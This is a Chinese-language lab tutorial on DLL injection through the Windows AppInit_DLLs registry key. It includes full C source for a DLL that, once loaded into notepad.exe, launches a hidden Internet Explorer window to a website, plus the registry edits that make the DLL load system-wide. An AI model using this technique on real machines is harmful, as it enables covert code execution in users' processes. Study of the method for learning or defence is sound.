DLL注入:使用登錄檔進行DLL注入
實驗原理
(1)在登錄檔編輯器中,將要注入的DLL的路徑字串寫入AppInt_DLLs專案,把LoadAppInit_DLL的專案值設為1。重啟後,指定DLL會注入所有執行的程序。
(2)其實是,user32.dll被載入到程序時,會讀取AppInit_DLLs登錄檔項,若有值,則呼叫LoadLibrary載入使用者DLL。因此嚴格講,該DLL只是被載入到載入user32.dll的程序。
(3)注意:xp會忽略LoadAppInit_DLL項。
myhack2.dll原始碼:
#include "windows.h" #include "tchar.h" #define DEF_CMD L"C:\\Program Files\\Internet Explorer\\iexplorer.exe" #define DEF_ADDR L"http://www.baidu.com" #define DEF_DST_PROC L"notepad.exe" BOOL WINAPI DllMain(HINSTANCE hinstDll,DWORD fdwReason,LPVOID lpvReversed) { TCHAR szCmd[MAX_PATH] = {0,}; TCHAR szPath[MAX_PATH] = {0,}; TCHAR *p = NULL; STARTUPINFO si = {0,}; //STARTUPINFO用於指定新視窗特定的一個結構 PROCESS_INFORMATION pi = {0,}; // 建立程序時相關資料結構之一,返回有關程序和主執行緒的資訊 si.cb = sizeof(STARTUPINFO); // 表示包含STARTUPINFO結構中的位元組數 si.dwFlags = STARTF_USESHOWWINDOW; // 使用wShowWindow成員 si.wShowWindow = SW_HIDE; // 視窗隱藏 switch(fdwReason) { case DLL_PROCESS_ATTACH: if(!GetModuleFileName(NULL,szPath,MAX_PATH))// NULL表示返回該應用程式全路徑 break; if(!(p = _tcsrchr(szPath,'\\'))) break; if(_tcsicmp(p+1,DEF_DST_PROC))// 比較兩個字串 break; wsprintf(szCmd,L"%s %s",DEF_CMD,DEF_ADDR);// 緩衝區;格式;要列印的字元 // 建立一個新程序及其主執行緒; if(!CreateProcess(NULL,(LPTSTR)(LPCSTR)szCmd,NULL,NULL,FALSE,NORMAL_PRIORITY_CLASS,NULL,NULL,&si,&pi)) break; if(pi.hProcess != NULL) CloseHandle(pi.hProcess); break; } return TRUE; }
若當前載入自己的程序是’notepad.exe’,則以隱藏模式執行IE,連結指定網站。
首先將dll放到合適的位置,如c:\work資料夾下;
修改登錄檔:執行登錄檔編輯器regedit.exe,進入路徑
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
如果不是xp系統還需要修改LoadAppInit_DLLs登錄檔項為1.(xp沒有這個表項)
重啟系統
開啟Process Explorer,搜尋載入myhack2.dll的程式
發現IE果然被隱藏執行了!哈哈,厲害了!
補充知識:
(1)LPTSTR: 表示指向字串的指標。相當於char *
LPCTSTR: 表示指向const字串的指標。相當於const char*
LP: 長指標;C:常量;STR:字串
(2)STARTUPINFO: 用於指定新視窗特定的一個結構
(3)PROCESS_INFORMATION:建立程序時相關資料結構之一,返回有關程序和主執行緒的資訊
(4)
(5)_tcsicmp
(6)CreateProcess()
(7)wsprintf()